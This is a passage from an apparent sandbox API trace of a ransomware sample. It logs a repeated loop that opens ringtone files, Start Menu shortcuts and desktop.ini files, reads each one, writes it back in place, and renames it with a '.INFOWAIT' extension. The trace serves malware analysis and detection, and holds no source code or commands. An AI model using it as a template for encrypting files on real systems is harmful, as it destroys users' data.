lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.700] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x21fbd, lpOverlapped=0x0) returned 1 [0132.704] VirtualAlloc (lpAddress=0x0, dwSize=0x21fbd, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0132.714] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.714] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x21fbd, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x21fbd, lpOverlapped=0x0) returned 1 [0132.715] CloseHandle (hObject=0xad4) returned 1 [0132.715] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" [0132.715] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma.INFOWAIT" [0132.715] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 08.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 08.wma.infowait")) returned 1 [0132.716] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.717] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.718] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.718] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 09.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0132.719] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1b6e1 [0132.719] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.719] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.719] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1b6e1, lpOverlapped=0x0) returned 1 [0132.738] VirtualAlloc (lpAddress=0x0, dwSize=0x1b6e1, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0132.747] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.747] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1b6e1, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1b6e1, lpOverlapped=0x0) returned 1 [0132.747] CloseHandle (hObject=0xad4) returned 1 [0132.748] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" [0132.748] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma.INFOWAIT" [0132.748] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 09.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 09.wma.infowait")) returned 1 [0132.748] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.750] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.751] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.751] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 10.wma"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.752] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x170f9 [0132.752] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.752] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.752] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x170f9, lpOverlapped=0x0) returned 1 [0132.762] VirtualAlloc (lpAddress=0x0, dwSize=0x170f9, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0132.769] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.769] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x170f9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x170f9, lpOverlapped=0x0) returned 1 [0132.770] CloseHandle (hObject=0xad0) returned 1 [0132.770] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" [0132.770] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma.INFOWAIT" [0132.770] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 10.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 10.wma.infowait")) returned 1 [0132.771] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.772] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.773] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.773] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\default programs.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.773] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x502 [0132.773] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.773] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.773] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x502, lpOverlapped=0x0) returned 1 [0132.776] VirtualAlloc (lpAddress=0x0, dwSize=0x502, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.776] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.776] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x502, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x502, lpOverlapped=0x0) returned 1 [0132.777] CloseHandle (hObject=0xad0) returned 1 [0132.777] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk" [0132.777] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk.INFOWAIT" [0132.777] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\default programs.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\default programs.lnk.infowait")) returned 1 [0132.778] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.779] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.779] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.779] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.779] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1ba [0132.779] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.779] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.780] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1ba, lpOverlapped=0x0) returned 1 [0132.781] VirtualAlloc (lpAddress=0x0, dwSize=0x1ba, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.782] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.782] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1ba, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1ba, lpOverlapped=0x0) returned 1 [0132.782] CloseHandle (hObject=0xad0) returned 1 [0132.782] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\desktop.ini" [0132.782] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\desktop.ini.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\desktop.ini.INFOWAIT" [0132.782] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\desktop.ini.infowait")) returned 1 [0132.783] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.784] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.784] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.784] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.784] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x172 [0132.784] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.785] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.785] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x172, lpOverlapped=0x0) returned 1 [0132.786] VirtualAlloc (lpAddress=0x0, dwSize=0x172, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.787] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.787] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x172, lpOverlapped=0x0) returned 1 [0132.787] CloseHandle (hObject=0xad0) returned 1 [0132.787] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini" [0132.787] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini.INFOWAIT" [0132.787] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\desktop.ini.infowait")) returned 1 [0132.788] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.789] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.789] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.789] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\speech recognition.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.790] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x56c [0132.790] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.790] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.790] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x56c, lpOverlapped=0x0) returned 1 [0132.793] VirtualAlloc (lpAddress=0x0, dwSize=0x56c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.793] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.794] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x56c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x56c, lpOverlapped=0x0) returned 1 [0132.794] CloseHandle (hObject=0xad0) returned 1 [0132.794] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk" [0132.794] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk.INFOWAIT" [0132.794] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\speech recognition.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\speech recognition.lnk.infowait")) returned 1 [0132.796] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.797] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.797] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.797] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\calculator.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.799] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ce [0132.799] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.799] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.799] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4ce, lpOverlapped=0x0) returned 1 [0132.801] VirtualAlloc (lpAddress=0x0, dwSize=0x4ce, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.801] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.801] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4ce, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4ce, lpOverlapped=0x0) returned 1 [0132.801] CloseHandle (hObject=0xad0) returned 1 [0132.801] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk" [0132.801] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk.INFOWAIT" [0132.801] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\calculator.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\calculator.lnk.infowait")) returned 1 [0132.802] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.803] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.803] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0132.803] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0132.803] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x73e [0132.803] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0132.803] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.803] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x73e, lpOverlapped=0x0) returned 1 [0132.805] VirtualAlloc (lpAddress=0x0, dwSize=0x73e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0132.805] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.805] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x73e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x73e, lpOverlapped=0x0) returned 1 [0132.805] CloseHandle (hObject=0xad0) returned 1 [0132.805] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" [0132.805] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.INFOWAIT") 